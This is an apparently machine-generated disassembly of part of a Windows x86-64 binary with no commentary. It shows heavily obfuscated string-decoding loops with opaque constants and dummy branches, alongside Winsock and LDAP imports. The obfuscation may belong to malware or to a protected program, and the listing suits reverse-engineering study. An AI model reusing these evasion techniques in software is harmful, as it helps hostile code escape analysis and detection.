add al, al
movzx r10d, byte [rbp + rbx + 0x790]
sub r10b, al
sub r10b, 0x58
add r10b, dl
add r10b, r11b
jmp 0x1400920e2
movabs rdx, 0xaf961ce5f3e5d8a
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_30
sub cl, al
lea r10d, [rcx + rcx]
sub r10b, byte [rbp + rbx + 0x790]
add r10b, dl
add r10b, r11b
jmp 0x140092145
movabs rcx, 0x7ecb190c9833fd13
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x7b
jmp 0x140092145
movabs rcx, 0x619aebbb6aef3071
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x17
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140091492
movabs rcx, 0xa0a63c7e320ca8b
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x33
dec rbx
inc rbx
jmp 0x140091492
movabs rcx, 0xcfaa092588973147
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0xf
movabs rcx, 0x5f311dd49b572a97
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
sub cl, 0x21
add cl, r11b
mov byte [rbp + rbx + 0x790], cl
inc r9
dec rbx
inc rbx
jmp 0x140091492
movabs rcx, 0x3db9268fa63f321d
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x35
movabs rcx, 0x7c614b25c89bf739
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
add r11b, 0x71
add r11b, cl
add r11b, r10b
mov byte [rbp + rbx + 0x790], r11b
add r8, r9
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140091492
mov r11, rdx
movabs rcx, 0xe6289e9c1e70cc37
add rcx, rbx
movzx eax, cl
and al, dl
add al, al
sub cl, al
lea r10d, [rdx + rcx]
add r10b, 0x7f
movabs rcx, 0x99917876f5e0c3db
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
add cl, 3
add cl, r11b
movzx eax, cl
mov byte [rbp + rbx + 0x790], al
inc r9
add rax, r9
sub rbx, rax
movabs rcx, 0x28298f1f8c832a2c
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
sub cl, 0x34
add cl, r11b
mov byte [rbp + rbx + 0x790], cl
inc r8
mov rax, r13
sub rax, r8
add rbx, rax
movzx eax, byte [rbp + rbx + 0x790]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140091492
movabs rcx, 0xabc843f9c3e732f3
add rcx, rbx
movzx eax, dl
and al, cl
add al, al
sub cl, al
lea r10d, [rdx + rcx]
add r10b, 0x5b
movzx eax, byte [rbp + rbx + 0x790]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140091492
movabs rcx, 0x1503c596425f2815
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x6d
jmp 0x140091490
movabs rcx, 0xf7d39845151a5b73
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x25
jmp 0x140091480
lea rcx, [rbp + 0x15cc5fc]
jmp 0x140092256
lea rcx, [rbp + 0xff2c4d]
jmp 0x140092256
lea rcx, [rbp + 0x790]
mov rdx, rdi
call fcn.140035c60
lea rdx, [0x140227e20]
lea rcx, [rbp + 0x138]
call fcn.140002680
mov rdx, rax
mov rcx, qword [0x14022e160]
call fcn.14006a810
mov rcx, rax
call fcn.14006bc00
mov rdi, rax
mov byte [rbp + 0x7b8], 0x7a
mov byte [rbp + 0x7b9], 0xa8
mov byte [rbp + 0x7ba], 0xa9
mov byte [rbp + 0x7bb], __WSAFDIsSet
mov byte [rbp + 0x7bc], 0x5a
mov byte [rbp + 0x7bd], WSACleanup
mov byte [rbp + 0x7be], reloc.WS2_32.dll___WSAFDIsSet
mov byte [rbp + 0x7bf], __WSAFDIsSet
mov byte [rbp + 0x7c0], 0x99
mov byte [rbp + 0x7c1], reloc.WLDAP32.dll_Ordinal_33
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x7c2], xmm0
mov qword [rbp + 0x7d2], rax
mov byte [rbp + 0x7da], al
movabs rsi, 0xf465f9dcfef14e13
movabs r12, 0x858af3846da9f787
movabs r14, 0x827238e78b49664d
movabs r15, 0x775c51deaff5773f
movzx r10d, byte [rsp + 0x40]
nop dword [rax + rax]
mov r8, qword [0x14022e4a8]
mov r9, qword [0x14022e4a0]
nop
xor ebx, ebx
cmp rbx, 0x23
jae 0x140092f1e
movzx r11d, byte [rbp + rbx + 0x7b8]
mov rdx, r11
nop dword [rax + rax]
cmp r8, rbx
ja 0x140092f12
lea rax, [r9 + 1]
cmp r8, rax
jae 0x140092383
lea rcx, [rbx + r12]
mov rax, rcx
and rax, rdx
imul r10, rax, 0xfffffffffffffffe
add r10, rcx
add r10, rdx
add r10b, 0x4f
jmp 0x1400923c0
je 0x140092e88
inc rax
cmp r8, rax
je 0x140092e1d
lea rax, [r9 + 3]
cmp r8, rax
je 0x140092dbc
lea rax, [r9 + 4]
cmp r8, rax
je 0x140092d91
lea rax, [r9 + 7]
cmp r8, rax
je 0x140092d40
nop dword [rax]
cmp r9, rbx
ja 0x140092f06
lea rax, [r9 + 0x20]
cmp r8, rax
jae 0x1400923f5
lea rdx, [rbx + rsi]
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
add r10b, 0x7b
add r10b, dl
jmp 0x140092440
lea rax, [r9 + 1]
cmp r8, rax
je 0x140092d18
inc rax
cmp r8, rax
je 0x140092cea
lea rax, [r9 + 4]
cmp r8, rax
je 0x140092cc5
lea rax, [r9 + 3]
cmp r8, rax
je 0x140092c90
lea rax, [r9 + 8]
cmp r8, rax
je 0x140092c5b
nop word [rax + rax]
lea rax, [r9 + r8]
cmp rax, rbx
jbe 0x1400928ab
nop dword [rax]
lea rax, [r9 + 0x42]
cmp r8, rax
je 0x140092887
lea rax, [r9 + 0x2a]
cmp r8, rax
je 0x140092859
lea rax, [r9 + 0x20]
cmp r8, rax
je 0x14009282a
lea rax, [r9 + 0x7a]
cmp r8, rax
je 0x140092802
lea rax, [r9 + 0x200]
cmp r8, rax
je 0x1400927d9
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400927a0
lea r8, [r9 + 0x41]
lea r9, [r8 + 9]
lea rax, [r9 + 0xa]
cmp r8, rax
jb 0x140092ee1
lea rax, [r9 + 0x1000]
cmp r8, rax
jb 0x140092ebc
lea rax, [r9 + 6]
cmp r8, rax
jb 0x1400925a1
lea rax, [r9 + 0x200]
cmp r8, rax
jb 0x140092582
lea rax, [r9 + 3]
cmp r8, rax
jb 0x140092563
lea rax, [r9 + 0x41]
cmp r8, rax
jb 0x1400926cd
lea r8, [r9 + 0x3e8]
lea r9, [r8 + 3]
lea rax, [r9 + 4]
cmp r8, rax
ja 0x140092697
lea rax, [r9 + 0x64]
cmp r8, rax
ja 0x14009266f
lea rax, [r9 + 1]
cmp r8, rax
ja 0x140092649
lea rax, [r9 + 0x28]
cmp r8, rax
ja 0x140092615
lea rax, [r9 + 0x41]
cmp r8, rax
ja 0x1400925ec
lea rax, [r9 + 0xa]
cmp r8, rax
ja 0x1400925c8
lea r8, [r9 + 0x40]
lea r9, [r8 + 0x41]
jmp 0x140092450
lea rdx, [rbx + r14]
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x1b
add r10b, dl
jmp 0x140092440
lea rdx, [rbx + r15]
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
add r10b, 0x47
add r10b, dl
jmp 0x1400923c0
movabs rdx, 0x6c466ad5d4a18831
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub dl, 0x57
add r10b, dl
jmp 0x140092345
movabs rcx, 0x81ee19cd658ea36e
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 2
jmp 0x140092ddb
movabs rdx, 0x76d832c48a3ab460
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, Ordinal_50
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x140092e05
movabs rcx, 0x6bc24bbbaee6c552
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x3e
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140092332
movabs rdx, 0x60ac64b2d392d644
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
jmp 0x140092c20
movabs rdx, 0x55967da9f83ee736
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x7a
add r10b, dl
jmp 0x140092e3e
movabs rcx, 0x4a8096a11ceaf828
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x18
movzx eax, byte [rbp + rbx + 0x7b8]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140092332
movabs rdx, 0x8d881ff0669d555b
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x7d
add r10b, dl
lea rax, [r9 + r8]
cmp rax, 5
je 0x140092bf8
lea rax, [r9 + 0x64]
cmp r8, rax
jbe 0x140092a05
movabs rdx, 0xd21c068e217ffb2b
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x2d
add r10b, dl
cmp r8, 0x2a
jae 0x140092bc7
lea rax, [r9 + 0x10]
cmp r8, rax
jbe 0x140092b0a
movabs rdx, 0xc682006b2071493e
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
cmp r9, 0x1000
jb 0x140092bb7
movabs rdx, 0x355d06c3b1b89fca
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
add cl, dl
lea r10d, [rcx*2 - 0xc]
jmp 0x140092d5f
movabs rdx, 0x9922261367ac0748
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, 4
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140092332
movabs rdx, 0x8e0c3f0a8c58183a
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, gethostname
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x140092e05
movabs rdx, 0x82f65801b104292c
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x34
add r10b, dl
jmp 0x140092ddb
movabs rdx, 0x77e070f8d5b03a1e
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WS2_32.dll_socket
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
dec rbx
inc rbx
jmp 0x140092332
movabs rcx, 0x6cca89effa5c4b10
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x70
inc r9
dec rbx
inc rbx
jmp 0x140092332
movabs rcx, 0x61b4a2e71f085c02
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0xe
jmp 0x140092d5f
lea rax, [r9 + 0x61]
cmp r8, rax
jae 0x1400928d4
lea rdx, [rbx + r12]
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
add r10b, 0x4f
jmp 0x1400926ed
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140092917
movabs rcx, 0xe8cbf3b9fde29c26
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0xa
movzx eax, byte [rbp + rbx + 0x7b8]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140092332
lea rax, [r9 + 3]
cmp r8, rax
jne 0x140092959
movabs rcx, 0xa0da8d48fde6950
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x30
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140092332
lea rax, [r9 + 4]
cmp r8, rax
jne 0x140092991
movabs rcx, 0x2b4f5def21da367a
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x56
dec rbx
inc rbx
jmp 0x140092332
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400929d0
movabs rdx, 0x366544f7fd2e2588
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, 0x24
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
inc r9
dec rbx
inc rbx
jmp 0x140092332
lea rax, [r9 + 8]
cmp r8, rax
jne 0x1400926f0
movabs rdx, 0x417b2c00d8821496
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x1a
add r10b, dl
jmp 0x140092d5f
lea rcx, [r9 + 1]
cmp r8, rcx
jne 0x140092a3a
movabs rdx, 0xdd31ed96fcd3ea39
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
add r10b, 0x71
add r10b, dl
jmp 0x140092d5f
lea rax, [r9 + 3]
cmp r8, rax
jne 0x140092a72
movabs rcx, 0xf35dbba8b37bc855
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x53
dec rbx
inc rbx
jmp 0x140092332
lea rax, [rcx + 1]
cmp r8, rax
jne 0x140092aa4
movabs rcx, 0x98989ba6a23a671
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x17
jmp 0x140092e05
lea rax, [r9 + 2]
cmp r8, rax
jne 0x140092ad5
movabs rcx, 0x1fb557cc20cb848d
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x25
jmp 0x140092c23
lea rax, [r9 + 4]
cmp r8, rax
jne 0x14009272e
movabs rdx, 0x2acb3ed4fc1f739b
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x3d
add r10b, dl
jmp 0x140092e3e
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140092b4d
movabs rcx, 0xd197e773fbc5384c
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x14
movzx eax, byte [rbp + rbx + 0x7b8]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140092332
inc rax
cmp r8, rax
jne 0x140092b7f
movabs rdx, 0xe7c3b585b26d1668
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
jmp 0x140092c20
lea rax, [r9 + 6]
cmp r8, rax
jne 0x140092769
movabs rcx, 0x141b51a91fbcd2a0
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x60
dec rbx
inc rbx
jmp 0x140092332
mov byte [rbp + rbx + 0x7b8], r10b
inc rbx
jmp 0x140092332
movabs rdx, 0x4072edcc8d0c8ed8
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, recv
sub cl, al
lea r10d, [rcx + rcx]
add r10b, byte [rbp + rbx + 0x7b8]
add r10b, r11b
add r10b, dl
jmp 0x140092ddb
movabs rdx, 0x4b88d4d568607de6
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, byte [rbp + rbx + 0x7b8]
sub r10b, 0x4a
add r10b, dl
movabs rdx, 0xd113c859d60a756d
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
add cl, 5
add cl, dl
movzx eax, cl
mov byte [rbp + rbx + 0x7b8], al
inc r9
add rax, r9
sub rbx, rax
jmp 0x140092e3e
movabs rcx, 0x582b192cb4e4b591
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 9
movzx eax, byte [rbp + rbx + 0x7b8]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140092332
movabs rcx, 0x36e9641222e8e867
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
add r10b, 0x2f
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140092332
movabs rcx, 0x2bd37d094794f959
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x6f
jmp 0x140092e05
movabs rcx, 0xa91c7eeb5992c2f
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x49
inc r9
dec rbx
inc rbx
jmp 0x140092332
movabs rdx, 0xff7be0e5da453d21
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
add r10b, 0x19
add r10b, dl
jmp 0x140092d5f
movabs rcx, 0xe95012d4239d5f05
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x23
movabs rcx, 0xbae7fa481f629751
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
sub cl, 0x37
add cl, r11b
mov byte [rbp + rbx + 0x7b8], cl
inc r9
dec rbx
inc rbx
jmp 0x140092332
movabs rcx, 0xd32444c26cf580e9
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x5f
dec rbx
inc rbx
jmp 0x140092332
movabs rcx, 0xc80e5db991a191db
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 3
movabs rcx, 0xc5fde150fab6865f
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
add r11b, 0x67
add r11b, cl
add r11b, r10b
mov byte [rbp + rbx + 0x7b8], r11b
add r8, r9
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140092332
mov r11, rdx
movabs rcx, 0x9bb6c1962451d5a3
add rcx, rbx
movzx eax, cl
and al, dl
add al, al
sub cl, al
lea r10d, [rdx + rcx]
sub r10b, 0x75
movabs rdx, 0x569ebbde43b46cf4
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_45
sub cl, al
add cl, cl
add cl, dl
add cl, r11b
mov byte [rbp + rbx + 0x7b8], cl
inc r8
mov rax, r13
sub rax, r8
add rbx, rax
movzx eax, byte [rbp + rbx + 0x7b8]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140092332
movabs rcx, 0x90a0da8d48fde695
add rcx, rbx
movzx eax, dl
and al, cl
add al, al
sub cl, al
lea r10d, [rdx + rcx]
sub r10b, 0x13
movzx eax, byte [rbp + rbx + 0x7b8]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140092332
movabs rcx, 0x613083ccf94d9923
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
add r10b, 0xb
jmp 0x140092330
movabs rcx, 0x561a9cc41df9aa15
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
add r10b, 0x6d
jmp 0x140092320
lea rcx, [rbp + 0x172566c]
jmp 0x140092f25
lea rcx, [rbp + 0x15c4df3]
jmp 0x140092f25
lea rcx, [rbp + 0x7b8]
mov rdx, rdi
call fcn.140035c60
lea rdx, [0x140227f60]
lea rcx, [rbp + 0x158]
call fcn.140002680
mov rdi, rax
mov qword [rsp + 0x48], rax
mov r8, rax
lea rdx, [rbp + 0x48]
mov rcx, qword [0x14022e160]
call fcn.14006ca20
mov rbx, qword [rax]
mov rcx, rdi
call fcn.140002820
lea rcx, [rbx + 0x30]
call fcn.14006bc00
mov r14, rax
mov byte [rbp + 0x7e0], 8
mov byte [rbp + 0x7e1], 0xdb
mov byte [rbp + 0x7e2], 0xe3
mov byte [rbp + 0x7e3], reloc.WLDAP32.dll_Ordinal_200
mov byte [rbp + 0x7e4], reloc.WLDAP32.dll_Ordinal_32
mov byte [rbp + 0x7e5], 0xfb
mov byte [rbp + 0x7e6], 0xf5
mov byte [rbp + 0x7e7], 0xed
mov byte [rbp + 0x7e8], 0x44
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x7e9], xmm0
mov qword [rbp + 0x7f9], rax
mov word [rbp + 0x801], ax
movabs r15, 0x43cfe586ffacb12e
movabs r12, 0x4cadcd33c0ecb4a6
movzx r10d, byte [rsp + 0x40]
nop word [rax + rax]
mov r8, qword [0x14022e4a8]
mov r9, qword [0x14022e4a0]
nop
xor esi, esi
movabs rdx, 0x27ccf28c861469f6
movabs rcx, 0x5502363bdb32356a
movabs rdi, 0xb5ce6c09c2e08d92
cmp rsi, 0x23
jae 0x140093a42
movzx r11d, byte [rbp + rsi + 0x7e0]
mov ebx, r11d
cmp r8, rsi
ja 0x140093a36
lea rax, [r9 + 1]
cmp r8, rax
jae 0x140093069
lea rcx, [rsi + rdx]
mov rax, rcx
and rax, rbx
imul r10, rax, 0xfffffffffffffffe
add r10, rcx
add r10, rbx
add r10b, 0x46
jmp 0x1400930b0
je 0x1400939d1
inc rax
cmp r8, rax
je 0x140093968
lea rax, [r9 + 2]
cmp r8, rax
je 0x140093935
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400938e3
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400938bd
lea rax, [r9 + 8]
cmp r8, rax
je 0x140093863
nop
mov rbx, r8
cmp r9, rsi
ja 0x140093a2a
lea rax, [r9 + 3]
cmp r8, rax
jae 0x1400930e4
lea rcx, [rsi + r15]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x42
jmp 0x140093131
lea rax, [r9 + 1]
cmp r8, rax
je 0x14009384f
inc rax
cmp r8, rax
je 0x140093822
lea rax, [r9 + 2]
cmp r8, rax
je 0x14009380b
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400937d2
lea rax, [r9 + 7]
cmp r8, rax
je 0x140093776
lea rax, [r9 + 8]
cmp r8, rax
je 0x140093740
lea rax, [r9 + r8]
cmp rax, rsi
jbe 0x1400933d8
nop
lea rax, [r9 + 0x1000]
cmp r8, rax
je 0x1400933af
lea rax, [r9 + 4]
cmp r8, rax
je 0x140093381
lea rax, [r9 + 0x40]
cmp r8, rax
je 0x140093358
lea rax, [r9 + 0x7a]
cmp r8, rax
je 0x140093330
mov r8, rax
lea r9, [rax + 6]
lea rax, [r9 + 6]
cmp r8, rax
jb 0x140093a05
lea rax, [r9 + 0x64]
cmp r8, rax
jb 0x1400931f8
lea rax, [r9 + 0x5a]
cmp r8, rax
jb 0x14009329c
lea rax, [r9 + 9]
cmp r8, rax
jb 0x140093140
mov r8, rax
lea r9, [rax + 9]
lea rax, [r9 + 9]
cmp r8, rax
ja 0x140093266
lea rax, [r9 + 0x200]
cmp r8, rax
ja 0x140093242
lea rax, [r9 + 1]
cmp r8, rax
ja 0x140093218
lea rax, [r9 + 0x10]
cmp r8, rax
ja 0x140093140
mov r8, rax
lea r9, [rax + 0x10]
jmp 0x140093140
lea rdx, [rsi + r12]
movzx eax, r11b
and al, dl
mov ecx, Ordinal_60
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x1400930b0
movabs rcx, 0x2fb17cecd8eb0dac
add rcx, rsi
movzx eax, r11b
and al, cl
mov r10d, Ordinal_41
sub r10b, al
add r10b, r10b
add r10b, r11b
add r10b, cl
jmp 0x140093906
movabs rcx, 0x40e3cda1b47091e8
add rcx, rsi
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x58
jmp 0x140093799
movabs rcx, 0xa1b0036f9c1eea10
add rcx, rsi
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x70
movzx eax, byte [rbp + rsi + 0x7e0]
add rax, r9
add rsi, rax
inc rsi
jmp 0x140093002
movabs rcx, 0x3b7b7c7ee567306a
add rcx, rsi
movzx eax, r11b
and al, cl
mov r10d, reloc.WS2_32.dll_listen
sub r10b, al
add r10b, r10b
add r10b, r11b
add r10b, cl
cmp r8, 0xa
jae 0x1400936e2
lea rax, [r9 + 0xa]
cmp r8, rax
jbe 0x140093615
movabs rdx, 0xbfa5b102f289f0cc
add rdx, rsi
movzx eax, dl
and al, r11b
mov ecx, gethostname
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
cmp r9, 0x20
jb 0x1400936d2
movabs rdx, 0xdba8a3fd6c223804
add rdx, rsi
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
add cl, dl
lea r10d, [rcx*2 - 0x38]
jmp 0x140093887
movabs rdx, 0x47457c10f1e35328
add rdx, rsi
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x18
add r10b, dl
jmp 0x14009398b
movabs rdx, 0x5877ccc5cd68d764
add rdx, rsi
movzx eax, dl
and al, r11b
mov ecx, Ordinal_35
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x140093950
movabs rcx, 0x69aa1d7aa8ee5ba0
add rcx, rsi
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x60
inc r9
dec rsi
inc rsi
jmp 0x140093002
movabs rdx, 0x1a1038619cc587b4
add rdx, rsi
movzx eax, r11b
and al, dl
mov ecx, 0xa
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x140093887
lea rax, [r9 + 5]
cmp rbx, rax
jae 0x14009344c
movabs rdx, 0x27ccf28c861469f6
add rdx, rsi
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_35
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
lea rax, [r9 + r8]
cmp rax, 8
je 0x140093713
lea rax, [r9 + 8]
cmp r8, rax
jbe 0x14009352a
movabs rdx, 0x7bd5cb7bf2dd3f9e
add rdx, rsi
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x52
add r10b, dl
jmp 0x1400932c1
lea rax, [r9 + 1]
cmp rbx, rax
jne 0x140093493
movabs rdx, 0x879fcb0dff59625c
add rdx, rsi
movzx eax, dl
and al, r11b
mov ecx, 0x3e
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
movzx eax, byte [rbp + rsi + 0x7e0]
add rax, r9
add rsi, rax
inc rsi
jmp 0x140093002
inc rax
cmp rbx, rax
jne 0x1400934c8
movabs rdx, 0xd739b0270b823648
add rdx, rsi
movzx eax, r11b
and al, dl
mov ecx, 4
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x14009398b
lea rax, [r9 + 3]
cmp rbx, rax
jne 0x1400934f9
movabs rcx, 0x26d3954017ab0a34
add rcx, rsi
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x6c
jmp 0x140093799
lea rax, [r9 + 2]
cmp rbx, rax
jne 0x140093409
movabs rcx, 0xc6075f722ffcb20c
add rcx, rsi
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x54
jmp 0x140093950
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140093560
movabs rdx, 0xcb6fb094ff06138a
add rdx, rsi
movzx eax, r11b
and al, dl
mov ecx, Ordinal_30
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x140093887
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14009359c
movabs rdx, 0x6aa37ac71757bb62
add rdx, rsi
movzx eax, r11b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_41
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
dec rsi
inc rsi
jmp 0x140093002
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400935d2
movabs rdx, 0x9d744f92fa9633a
add rdx, rsi
movzx eax, dl
and al, r11b
mov ecx, gethostname
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x140093950
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400932c1
movabs rcx, 0x483ed95d604cb2ea
add rcx, rsi
movzx eax, r11b
and al, cl
